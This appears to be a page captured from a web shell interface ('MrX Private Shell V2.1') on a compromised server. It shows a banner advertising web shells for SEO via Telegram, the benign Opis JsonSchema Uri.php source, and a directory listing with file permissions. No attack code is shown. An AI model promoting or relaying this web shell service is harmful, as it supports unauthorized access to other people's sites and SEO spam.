__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/* ============================================================================
* Copyright 2020 Zindex Software
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
* ============================================================================ */
namespace Opis\JsonSchema;
use JsonSerializable;
use Opis\Uri\Uri as BaseUri;
class Uri extends BaseUri implements JsonSerializable
{
/**
* @var bool Set this to true and the qs will always be sorted
*/
protected static bool $useNormalizedComponents = false;
public function __construct(array $components)
{
if (static::$useNormalizedComponents) {
$components = self::normalizeComponents($components);
}
parent::__construct($components);
}
/**
* @inheritDoc
*/
public function jsonSerialize(): string
{
return $this->__toString();
}
/**
* @param string $uri
* @param bool $ensure_fragment
* @return static|null
*/
public static function parse(string $uri, bool $ensure_fragment = false): ?self
{
if ($ensure_fragment && strpos($uri, '#') === false) {
$uri .= '#';
}
return self::create($uri);
}
/**
* @param string|array|static $uri
* @param string|array|static $base
* @param bool $ensure_fragment
* @return static|null
*/
public static function merge($uri, $base, bool $ensure_fragment = false): ?self
{
$uri = self::resolveComponents($uri);
if ($uri === null) {
return null;
}
if ($ensure_fragment && !isset($uri['fragment'])) {
$uri['fragment'] = '';
}
$base = self::resolveComponents($base);
if (!$base) {
return new self($uri);
}
return new self(self::mergeComponents($uri, $base));
}
/**
* @param bool $value
*/
public static function useNormalizedComponents(bool $value): void
{
self::$useNormalizedComponents = $value;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Errors | Folder | 0775 |
|
|
| Exceptions | Folder | 0775 |
|
|
| Filters | Folder | 0775 |
|
|
| Formats | Folder | 0775 |
|
|
| Info | Folder | 0775 |
|
|
| KeywordValidators | Folder | 0775 |
|
|
| Keywords | Folder | 0775 |
|
|
| Parsers | Folder | 0775 |
|
|
| Pragmas | Folder | 0775 |
|
|
| Resolvers | Folder | 0775 |
|
|
| Schemas | Folder | 0775 |
|
|
| Variables | Folder | 0775 |
|
|
| CompliantValidator.php | File | 1.88 KB | 0664 |
|
| ContentEncoding.php | File | 982 B | 0664 |
|
| ContentMediaType.php | File | 991 B | 0664 |
|
| Filter.php | File | 1.01 KB | 0664 |
|
| Format.php | File | 908 B | 0664 |
|
| Helper.php | File | 9.44 KB | 0664 |
|
| JsonPointer.php | File | 9.85 KB | 0664 |
|
| Keyword.php | File | 1.04 KB | 0664 |
|
| KeywordValidator.php | File | 1.08 KB | 0664 |
|
| Pragma.php | File | 1.13 KB | 0664 |
|
| Schema.php | File | 953 B | 0664 |
|
| SchemaLoader.php | File | 12.47 KB | 0664 |
|
| SchemaValidator.php | File | 1.01 KB | 0664 |
|
| Uri.php | File | 2.5 KB | 0664 |
|
| ValidationContext.php | File | 17.92 KB | 0664 |
|
| ValidationResult.php | File | 1.38 KB | 0664 |
|
| Validator.php | File | 8 KB | 0664 |
|
| Variables.php | File | 971 B | 0664 |
|